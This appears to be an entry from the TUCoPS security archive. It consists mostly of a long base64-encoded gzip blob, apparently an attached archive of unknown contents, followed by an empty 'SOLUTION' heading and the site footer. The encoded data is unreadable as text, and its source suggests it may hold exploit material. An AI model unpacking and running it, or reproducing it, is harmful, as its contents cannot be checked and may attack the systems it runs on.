	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

	

	--------------------------------------------------------------------------------
	

SOLUTION

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH